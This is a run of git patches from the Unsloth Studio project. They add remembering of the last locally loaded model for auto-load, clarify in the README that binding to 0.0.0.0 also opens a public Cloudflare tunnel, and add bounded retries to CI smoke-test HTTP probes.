 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { getAuthToken } from "@/features/auth";
+import {
+  loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { projectHasSources } from "@/features/rag/api/rag-api";
 import { apiUrl } from "@/lib/api-base";
 import { parseParamCountB } from "@/lib/model-size";
@@ -63,11 +67,17 @@ import {
   listStoredChatThreads,
   updateStoredChatThread,
 } from "../utils/chat-history-storage";
+import {
+  readLastLocalModelLoad,
+  recordLastLocalModelLoad,
+  type LastLocalModelKind,
+} from "../utils/last-local-model-load";
 import { getImageInputUnavailableReason } from "../utils/image-input-support";
 import {
   hasClosedThinkTag,
   parseAssistantContent,
 } from "../utils/parse-assistant-content";
+import { resolveLoadMaxSeqLength } from "../presets/preset-policy";
 import {
   generateAudio,
   listCachedGguf,
@@ -1309,6 +1319,30 @@ const BIG_ENDIAN_GGUF_FILENAME_RE = /(^|[-_])be(?:[._-]|$)/gi;
 const GGUF_KNOWN_QUANT_RE =
   /(UD-)?(MXFP[0-9]+(?:_[A-Z0-9]+)*|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?|TQ[0-9]+_[0-9]+|Q[0-9]+_K_[A-Z]+|Q[0-9]+_[0-9]+|Q[0-9]+_K|BF16|F16|F32)/i;
 
+type AutoLoadCandidate = {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant: string | null;
+  maxSeqLength: number;
+  successLabel: string;
+};
+
+function autoLoadCandidateKey(
+  kind: LastLocalModelKind,
+  id: string,
+  ggufVariant?: string | null,
+): string {
+  return `${kind}:${id.toLowerCase()}:${(ggufVariant ?? "").toLowerCase()}`;
+}
+
+function findCachedRepo<T extends { repo_id: string }>(
+  repos: T[],
+  id: string,
+): T | undefined {
+  const normalized = id.toLowerCase();
+  return repos.find((repo) => repo.repo_id.toLowerCase() === normalized);
+}
+
 function hasBigEndianGgufMarker(filename: string, quant?: string | null): boolean {
   const normalized = filename.replace(/\\/g, "/").toLowerCase();
   const separatorIndex = normalized.lastIndexOf("/");
@@ -1357,14 +1391,18 @@ async function autoLoadSmallestModel(): Promise<{
   const hfToken = store.hfToken || null;
   const trustRemoteCode = store.params.trustRemoteCode ?? false;
   const specSettings = resolveSpeculativeSettingsForLoad();
+  const lastLoaded = readLastLocalModelLoad();
   const toastId = toast("Loading a model…", {
-    description: "Auto-selecting the smallest downloaded model.",
+    description: lastLoaded
+      ? "Loading last used model."
+      : "Auto-selecting the smallest downloaded model.",
     duration: 5000,
     closeButton: true,
   });
   let blockedByTrustRemoteCode = false;
   let hadNonTrustFailure = false;
   let loadAttempts = 0;
+  const skippedAutoLoadCandidates = new Set<string>();
 
   async function canAutoLoad(payload: {
     model_path: string;
@@ -1389,12 +1427,224 @@ async function autoLoadSmallestModel(): Promise<{
     }
     return true;
   }
+
+  async function loadAutoLoadCandidate(
+    candidate: AutoLoadCandidate,
+  ): Promise<boolean> {
+    if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) {
+      return false;
+    }
+    const currentStore = useChatRuntimeStore.getState();
+    const remembered = loadRememberedLoadSettings(
+      rememberedLoadSettingsKey({
+        id: candidate.id,
+        ggufVariant: candidate.ggufVariant,
+      }),
+    );
+    const effectiveMaxSeqLength = resolveLoadMaxSeqLength({
+      modelId: candidate.id,
+      ggufVariant: candidate.ggufVariant,
+      isGguf: candidate.kind === "gguf",
+      customContextLength: remembered?.contextLength ?? null,
+      ggufContextLength: null,
+      currentCheckpoint: currentStore.params.checkpoint,
+      activeGgufVariant: currentStore.activeGgufVariant,
+      maxSeqLength: candidate.maxSeqLength,
+      presetSource: currentStore.activePresetSource,
+    });
+    const effectiveSpeculativeType =
+      remembered?.speculativeType ?? specSettings.speculativeType;
+    const effectiveSpecDraftNMax =
+      remembered?.specDraftNMax ?? specSettings.specDraftNMax;
+    if (
+      !(await canAutoLoad({
+        model_path: candidate.id,
+        max_seq_length: effectiveMaxSeqLength,
+        is_lora: false,
+        gguf_variant: candidate.ggufVariant,
+      }))
+    ) {
+      skippedAutoLoadCandidates.add(
+        autoLoadCandidateKey(candidate.kind, candidate.id, candidate.ggufVariant),
+      );
+      return false;
+    }
+    loadAttempts += 1;
+    const loadResp = await loadModel({
+      model_path: candidate.id,
+      hf_token: hfToken,
+      max_seq_length: effectiveMaxSeqLength,
+      load_in_4bit: true,
+      is_lora: false,
+      gguf_variant: candidate.ggufVariant,
+      trust_remote_code: trustRemoteCode,
+      cache_type_kv: remembered?.kvCacheDtype ?? null,
+      speculative_type: effectiveSpeculativeType,
+      spec_draft_n_max: effectiveSpecDraftNMax,
+      tensor_parallel: remembered?.tensorParallel ?? false,
+    });
+    saveSpeculativeType(effectiveSpeculativeType);
+    useChatRuntimeStore
+      .getState()
+      .setCheckpoint(candidate.id, candidate.ggufVariant ?? undefined);
+    const store = useChatRuntimeStore.getState();
+    store.setModelRequiresTrustRemoteCode(
+      loadResp.requires_trust_remote_code ?? false,
+    );
+    store.setParams({
+      ...store.params,
+      maxTokens:
+        candidate.kind === "gguf"
+          ? loadResp.context_length ?? 131072
+          : effectiveMaxSeqLength,
+    });
+    const autoModel: ChatModelSummary = {
+      id: candidate.id,
+      name: loadResp.display_name ?? candidate.id,
+      isVision: loadResp.is_vision ?? false,
+      isLora: loadResp.is_lora ?? false,
+      isGguf: loadResp.is_gguf ?? candidate.kind === "gguf",
+      isAudio: loadResp.is_audio ?? false,
+      audioType: loadResp.audio_type ?? null,
+      hasAudioInput: loadResp.has_audio_input ?? false,
+    };
+    if (!store.models.some((m) => m.id === candidate.id)) {
+      store.setModels([...store.models, autoModel]);
+    }
+    if (candidate.kind === "gguf") {
+      useChatRuntimeStore.setState({
+        ggufContextLength: loadResp.context_length ?? 131072,
+        ggufMaxContextLength:
+          loadResp.max_context_length ?? loadResp.context_length ?? 131072,
+        ggufNativeContextLength: loadResp.native_context_length ?? null,
+        supportsReasoning: loadResp.supports_reasoning ?? false,
+        reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
+        reasoningEnabled: loadResp.supports_reasoning ?? false,
+        ...reasoningCapsFromLoad(loadResp),
+        supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
+        supportsTools: loadResp.supports_tools ?? false,
+        ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
+        kvCacheDtype: loadResp.cache_type_kv ?? null,
+        loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
+        tensorParallel: loadResp.tensor_parallel ?? false,
+        loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        defaultChatTemplate: loadResp.chat_template ?? null,
+        chatTemplateOverride: null,
+        loadedChatTemplateOverride: null,
+        loadedIsMultimodal: isMultimodalResponse(loadResp),
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
+        ...resolveLoadedSpeculativeSettings(loadResp),
+      });
+    } else {
+      useChatRuntimeStore.setState({
+        supportsReasoning: loadResp.supports_reasoning ?? false,
+        reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
+        reasoningEnabled: loadResp.supports_reasoning ?? false,
+        ...reasoningCapsFromLoad(loadResp),
+        supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
+        supportsTools: loadResp.supports_tools ?? false,
+        ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
+        kvCacheDtype: loadResp.cache_type_kv ?? null,
+        loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
+        tensorParallel: loadResp.tensor_parallel ?? false,
+        loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        defaultChatTemplate: loadResp.chat_template ?? null,
+        chatTemplateOverride: null,
+        loadedChatTemplateOverride: null,
+        ...resolveLoadedSpeculativeSettings(loadResp),
+        loadedIsMultimodal: isMultimodalResponse(loadResp),
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
+      });
+    }
+    if (!(loadResp.is_lora ?? false)) {
+      recordLastLocalModelLoad({
+        id: candidate.id,
+        kind: candidate.kind,
+        ggufVariant: candidate.ggufVariant,
+      });
+    }
+    toast.success(candidate.successLabel, { id: toastId });
+    return true;
+  }
   try {
     const [ggufRepos, modelRepos] = await Promise.all([
       listCachedGguf().catch(() => []),
       listCachedModels().catch(() => []),
     ]);
 
+    if (lastLoaded) {
+      if (lastLoaded.kind === "gguf") {
+        const repo = findCachedRepo(ggufRepos, lastLoaded.id);
+        if (repo && lastLoaded.ggufVariant) {
+          try {
+            const variants = await listGgufVariants(repo.repo_id);
+            const variant = variants.variants.find(
+              (entry) =>
+                entry.downloaded &&
+                entry.quant?.toLowerCase() ===
+                  lastLoaded.ggufVariant?.toLowerCase() &&
+                isAutoLoadableGgufVariant(entry),
+            );
+            if (variant) {
+              toast("Loading last used model…", {
+                id: toastId,
+                description: `${repo.repo_id} (${variant.quant})`,
+                duration: 5000,
+              });
+              if (
+                await loadAutoLoadCandidate({
+                  id: repo.repo_id,
+                  kind: "gguf",
+                  ggufVariant: variant.quant,
+                  maxSeqLength: 0,
+                  successLabel: `Loaded ${repo.repo_id} (${variant.quant})`,
+                })
+              ) {
+                return { loaded: true, blockedByTrustRemoteCode: false };
+              }
+            }
+          } catch {
+            hadNonTrustFailure = true;
+            skippedAutoLoadCandidates.add(
+              autoLoadCandidateKey("gguf", repo.repo_id, lastLoaded.ggufVariant),
+            );
+          }
+        }
+      } else {
+        const repo = findCachedRepo(modelRepos, lastLoaded.id);
+        if (repo) {
+          try {
+            toast("Loading last used model…", {
+              id: toastId,
+              description: repo.repo_id,
+              duration: 5000,
+            });
+            if (
+              await loadAutoLoadCandidate({
+                id: repo.repo_id,
+                kind: "model",
+                ggufVariant: null,
+                maxSeqLength: store.params.maxSeqLength,
+                successLabel: `Loaded ${repo.repo_id}`,
+              })
+            ) {
+              return { loaded: true, blockedByTrustRemoteCode: false };
+            }
+          } catch {
+            hadNonTrustFailure = true;
+            skippedAutoLoadCandidates.add(
+              autoLoadCandidateKey("model", repo.repo_id),
+            );
+          }
+        }
+      }
+      toast("Loading a model…", {
+        id: toastId,
+        description: "Auto-selecting the smallest downloaded model.",
+        duration: 5000,
+      });
+    }
+
     // GGUF first: smallest-total-size repo, then its smallest variant.
     if (ggufRepos.length > 0) {
       const sorted = [...ggufRepos].sort((a, b) => a.size_bytes - b.size_bytes);
@@ -1408,82 +1658,23 @@ async function autoLoadSmallestModel(): Promise<{
           if (downloaded.length > 0) {
             const variant = downloaded[0];
             if (
-              !(await canAutoLoad({
-                model_path: repo.repo_id,
-                max_seq_length: 0,
-                is_lora: false,
-                gguf_variant: variant.quant,
-              }))
+              skippedAutoLoadCandidates.has(
+                autoLoadCandidateKey("gguf", repo.repo_id, variant.quant),
+              )
             ) {
               continue;
             }
-            loadAttempts += 1;
-            const loadResp = await loadModel({
-              model_path: repo.repo_id,
-              hf_token: hfToken,
-              max_seq_length: 0,
-              load_in_4bit: true,
-              is_lora: false,
-              gguf_variant: variant.quant,
-              trust_remote_code: trustRemoteCode,
-              speculative_type: specSettings.speculativeType,
-              spec_draft_n_max: specSettings.specDraftNMax,
-            });
-            saveSpeculativeType(specSettings.speculativeType);
-            useChatRuntimeStore
-              .getState()
-              .setCheckpoint(repo.repo_id, variant.quant);
-            const store = useChatRuntimeStore.getState();
-            store.setModelRequiresTrustRemoteCode(
-              loadResp.requires_trust_remote_code ?? false,
-            );
-            store.setParams({
-              ...store.params,
-              maxTokens: loadResp.context_length ?? 131072,
-            });
-            // Add to store so the selector shows the name.
-            const autoModel: ChatModelSummary = {
-              id: repo.repo_id,
-              name: loadResp.display_name ?? repo.repo_id,
-              isVision: loadResp.is_vision ?? false,
-              isLora: loadResp.is_lora ?? false,
-              isGguf: loadResp.is_gguf ?? false,
-              isAudio: loadResp.is_audio ?? false,
-              audioType: loadResp.audio_type ?? null,
-              hasAudioInput: loadResp.has_audio_input ?? false,
-            };
-            const existingModels = store.models;
-            if (!existingModels.some((m) => m.id === repo.repo_id)) {
-              store.setModels([...existingModels, autoModel]);
+            if (
+              await loadAutoLoadCandidate({
+                id: repo.repo_id,
+                kind: "gguf",
+                ggufVariant: variant.quant,
+                maxSeqLength: 0,
+                successLabel: `Loaded ${repo.repo_id} (${variant.quant})`,
+              })
+            ) {
+              return { loaded: true, blockedByTrustRemoteCode: false };
             }
-            useChatRuntimeStore.setState({
-              ggufContextLength: loadResp.context_length ?? 131072,
-              ggufMaxContextLength:
-                loadResp.max_context_length ??
-                loadResp.context_length ??
-                131072,
-              supportsReasoning: loadResp.supports_reasoning ?? false,
-              reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
-              reasoningEnabled: loadResp.supports_reasoning ?? false,
-              ...reasoningCapsFromLoad(loadResp),
-              supportsPreserveThinking:
-                loadResp.supports_preserve_thinking ?? false,
-              supportsTools: loadResp.supports_tools ?? false,
-              ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
-              kvCacheDtype: loadResp.cache_type_kv ?? null,
-              loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
-              tensorParallel: loadResp.tensor_parallel ?? false,
-              loadedTensorParallel: loadResp.tensor_parallel ?? false,
-              defaultChatTemplate: loadResp.chat_template ?? null,
-              chatTemplateOverride: null,
-              loadedChatTemplateOverride: null,
-              loadedIsMultimodal: isMultimodalResponse(loadResp),
-              ...resolveLoadedSpeculativeSettings(loadResp),
-            });
-            toast.success(`Loaded ${repo.repo_id} (${variant.quant})`, {
-              id: toastId,
-            });
-            return { loaded: true, blockedByTrustRemoteCode: false };
           }
         } catch {
           hadNonTrustFailure = true;
@@ -1501,64 +1692,23 @@ async function autoLoadSmallestModel(): Promise<{
         if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) break;
         try {
           if (
-            !(await canAutoLoad({
-              model_path: repo.repo_id,
-              max_seq_length: 4096,
-              is_lora: false,
-              gguf_variant: null,
-            }))
+            skippedAutoLoadCandidates.has(
+              autoLoadCandidateKey("model", repo.repo_id),
+            )
           ) {
             continue;
           }
-          loadAttempts += 1;
-          const sfLoadResp = await loadModel({
-            model_path: repo.repo_id,
-            hf_token: hfToken,
-            max_seq_length: 4096,
-            load_in_4bit: true,
-            is_lora: false,
-            gguf_variant: null,
-            trust_remote_code: trustRemoteCode,
-            speculative_type: specSettings.speculativeType,
-            spec_draft_n_max: specSettings.specDraftNMax,
-          });
-          saveSpeculativeType(specSettings.speculativeType);
-          useChatRuntimeStore.getState().setCheckpoint(repo.repo_id);
-          const store = useChatRuntimeStore.getState();
-          store.setModelRequiresTrustRemoteCode(
-            sfLoadResp.requires_trust_remote_code ?? false,
-          );
-          store.setParams({ ...store.params, maxTokens: 4096 });
-          useChatRuntimeStore.setState({
-            supportsReasoning: sfLoadResp.supports_reasoning ?? false,
-            reasoningAlwaysOn: sfLoadResp.reasoning_always_on ?? false,
-            reasoningEnabled: sfLoadResp.supports_reasoning ?? false,
-            ...reasoningCapsFromLoad(sfLoadResp),
-            supportsPreserveThinking:
-              sfLoadResp.supports_preserve_thinking ?? false,
-            supportsTools: sfLoadResp.supports_tools ?? false,
-            // Parity with the GGUF branch above.
-            ...resolveToolsEnabledOnLoad(sfLoadResp.supports_tools ?? false),
-            defaultChatTemplate: sfLoadResp.chat_template ?? null,
-            chatTemplateOverride: null,
-            loadedChatTemplateOverride: null,
-            ...resolveLoadedSpeculativeSettings(sfLoadResp),
-          });
-          const sfModel: ChatModelSummary = {
-            id: repo.repo_id,
-            name: sfLoadResp.display_name ?? repo.repo_id,
-            isVision: sfLoadResp.is_vision ?? false,
-            isLora: sfLoadResp.is_lora ?? false,
-            isGguf: sfLoadResp.is_gguf ?? false,
-          };
-          if (!store.models.some((m) => m.id === repo.repo_id)) {
-            store.setModels([...store.models, sfModel]);
+          if (
+            await loadAutoLoadCandidate({
+              id: repo.repo_id,
+              kind: "model",
+              ggufVariant: null,
+              maxSeqLength: 4096,
+              successLabel: `Loaded ${repo.repo_id}`,
+            })
+          ) {
+            return { loaded: true, blockedByTrustRemoteCode: false };
           }
-          useChatRuntimeStore.setState({
-            loadedIsMultimodal: isMultimodalResponse(sfLoadResp),
-          });
-          toast.success(`Loaded ${repo.repo_id}`, { id: toastId });
-          return { loaded: true, blockedByTrustRemoteCode: false };
         } catch {
           hadNonTrustFailure = true;
           continue;
@@ -1650,6 +1800,11 @@ async function autoLoadSmallestModel(): Promise<{
         loadedIsMultimodal: isMultimodalResponse(loadResp),
         ...resolveLoadedSpeculativeSettings(loadResp),
       });
+      recordLastLocalModelLoad({
+        id: "unsloth/Qwen3.5-4B-MTP-GGUF",
+        kind: "gguf",
+        ggufVariant: "UD-Q4_K_XL",
+      });
       toast.success("Loaded Qwen3.5-4B-MTP (UD-Q4_K_XL)", { id: toastId });
       return { loaded: true, blockedByTrustRemoteCode: false };
     } catch {
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index 798c1658f9..0a4342f208 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -44,6 +44,7 @@ import {
   mergeBackendRecommendedInference,
   resolveLoadMaxSeqLength,
 } from "../presets/preset-policy";
+import { recordLastLocalModelLoad } from "../utils/last-local-model-load";
 import {
   isMultimodalResponse,
 } from "../types/api";
@@ -818,6 +819,23 @@ export function useChatModelRuntime() {
               }
             }
             await refresh({ signal: abortCtrl.signal });
+            if (
+              !isLora &&
+              !(loadResponse.is_lora ?? false) &&
+              !nativePathToken &&
+              !isLocalModelPath(modelId) &&
+              !isExternalModelId(modelId)
+            ) {
+              if (loadResponse.is_gguf || isGguf || ggufVariant) {
+                recordLastLocalModelLoad({
+                  id: modelId,
+                  kind: "gguf",
+                  ggufVariant: ggufVariant ?? null,
+                });
+              } else {
+                recordLastLocalModelLoad({ id: modelId, kind: "model" });
+              }
+            }
             // A successful load owns the shared (pick-unscoped) settings fields,
             // so any surviving stage is stale: the just-loaded pick itself, or a
             // pick queued for a different model mid-load whose knobs this load
diff --git a/studio/frontend/src/features/chat/utils/last-local-model-load.ts b/studio/frontend/src/features/chat/utils/last-local-model-load.ts
new file mode 100644
index 0000000000..099386fbc7
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/last-local-model-load.ts
@@ -0,0 +1,86 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export type LastLocalModelKind = "gguf" | "model";
+
+export type LastLocalModelLoad = {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant: string | null;
+  loadedAt: number;
+};
+
+const STORAGE_KEY = "unsloth.last-local-model-load.v1";
+
+function storage(): Storage | null {
+  try {
+    return typeof localStorage === "undefined" ? null : localStorage;
+  } catch {
+    return null;
+  }
+}
+
+function isLastLocalModelKind(value: unknown): value is LastLocalModelKind {
+  return value === "gguf" || value === "model";
+}
+
+export function readLastLocalModelLoad(): LastLocalModelLoad | null {
+  try {
+    const raw = storage()?.getItem(STORAGE_KEY);
+    if (!raw) {
+      return null;
+    }
+    const parsed = JSON.parse(raw) as Partial<LastLocalModelLoad>;
+    if (
+      typeof parsed.id !== "string" ||
+      !parsed.id.trim() ||
+      !isLastLocalModelKind(parsed.kind) ||
+      typeof parsed.loadedAt !== "number"
+    ) {
+      return null;
+    }
+    if (
+      parsed.kind === "gguf" &&
+      (typeof parsed.ggufVariant !== "string" || !parsed.ggufVariant.trim())
+    ) {
+      return null;
+    }
+    return {
+      id: parsed.id,
+      kind: parsed.kind,
+      ggufVariant:
+        typeof parsed.ggufVariant === "string" ? parsed.ggufVariant : null,
+      loadedAt: parsed.loadedAt,
+    };
+  } catch {
+    return null;
+  }
+}
+
+export function recordLastLocalModelLoad(input: {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant?: string | null;
+}): void {
+  const id = input.id.trim();
+  if (!id) {
+    return;
+  }
+  const ggufVariant = input.ggufVariant?.trim() || null;
+  if (input.kind === "gguf" && !ggufVariant) {
+    return;
+  }
+  try {
+    storage()?.setItem(
+      STORAGE_KEY,
+      JSON.stringify({
+        id,
+        kind: input.kind,
+        ggufVariant: input.kind === "gguf" ? ggufVariant : null,
+        loadedAt: Date.now(),
+      } satisfies LastLocalModelLoad),
+    );
+  } catch {
+    // Ignore disabled storage / quota errors; auto-load falls back to size order.
+  }
+}

From b0b8aea618423b89a813e312b15565cc74aad3a1 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Thu, 9 Jul 2026 21:59:48 -0300
Subject: [PATCH 295/306] Clarify in README that -H 0.0.0.0 starts a public
 Cloudflare tunnel (#7007)

* Clarify in README that -H 0.0.0.0 starts a public Cloudflare tunnel

* Hedge tunnel URL wording and restore trusted-network caution

* Tighten the 0.0.0.0 tunnel note

* Drop trust-the-network caution from tunnel note

* Restore trusted-network note on the raw-bind sentence

* Use Cloudflare's quick tunnel terminology and consolidate the trust warning
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index e3fd4e6980..849ee2e87b 100644
--- a/README.md
+++ b/README.md
@@ -212,7 +212,7 @@ By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach i
 ```bash
 unsloth studio --secure -p 8888
 ```
-- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network.
+- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. This also starts a public Cloudflare quick tunnel by default, which publishes an internet-reachable `https://*.trycloudflare.com` URL even behind a firewall. Both the raw port and the tunnel expose Studio beyond this machine, so only use this on a network you trust; pass `--no-cloudflare` to drop the public link while keeping the network bind.
 ```bash
 unsloth studio -H 0.0.0.0 -p 8888
 ```

From fbcd3fa511e86798ed988514d3f193bd26ff122b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 10 Jul 2026 03:07:39 -0700
Subject: [PATCH 296/306] CI: retry transient HTTP timeouts in Studio smoke
 probes (#7052)

* CI: retry transient HTTP timeouts in Studio smoke probes

The post() helper in the Studio inference smoke workflows does a single
urlopen with a 240s timeout against the local Studio server. On shared
runners this sporadically hits TimeoutError while the server is stalled,
failing the whole job for a transport hiccup; the same flake has recurred
across unrelated PRs on Linux and Windows (JSON/images and tool-calling
jobs) and passes on rerun.

Retry the probe up to 3 times on transport-level failures only
(TimeoutError, ConnectionError, non-HTTP URLError), 15s apart. HTTP
status errors still surface immediately, so genuine server failures are
unaffected. post_sse() is left unchanged: it has a 600s budget and has
not flaked.

* CI: retry only short probes so worst case fits the job budget

Some json-images calls pass timeout=600; three attempts there could spend
30 minutes in one step and hit the job's timeout-minutes instead of failing
with the Python error. Retry (3 attempts) only when timeout <= 300s, which
covers the observed flaky 180-240s probes; longer probes keep the pre-PR
single attempt.

* CI: give long smoke probes one capped retry

Round two of bounding the retries: timeout>300s probes previously got a
single attempt, so a transient stall in the 600s JSON-mode probes still
failed on first occurrence. Give them one retry with the attempt timeout
capped at 300s. Worst cases stay inside timeout-minutes: 240s probes
12.5 min, one 600s probe 15.25 min, the Windows JSON job's two long
probes 30.5 min against its 35 minute budget.
---
 .github/workflows/studio-inference-smoke.yml  | 44 +++++++++++++++++--
 .../workflows/studio-mac-inference-smoke.yml  | 44 +++++++++++++++++--
 .../studio-windows-inference-smoke.yml        | 44 +++++++++++++++++--
 3 files changed, 120 insertions(+), 12 deletions(-)

diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index aebf90380a..f540c11da4 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -444,6 +444,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -464,8 +466,24 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           def post_sse(path, body, *, timeout = 600):
               """POST a streaming request and accumulate the assistant
@@ -938,6 +956,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -956,8 +976,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           # llama.cpp's HTTP server supports OpenAI-compatible JSON
diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml
index d562294d42..03c0a8580d 100644
--- a/.github/workflows/studio-mac-inference-smoke.yml
+++ b/.github/workflows/studio-mac-inference-smoke.yml
@@ -430,6 +430,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -450,8 +452,24 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           def post_sse(path, body, *, timeout = 600):
               """POST a streaming request and accumulate the assistant
@@ -825,6 +843,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -848,8 +868,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           # llama.cpp's HTTP server supports OpenAI-compatible JSON
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index dbb0f9ea6f..0453c9212a 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -634,6 +634,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -656,8 +658,24 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
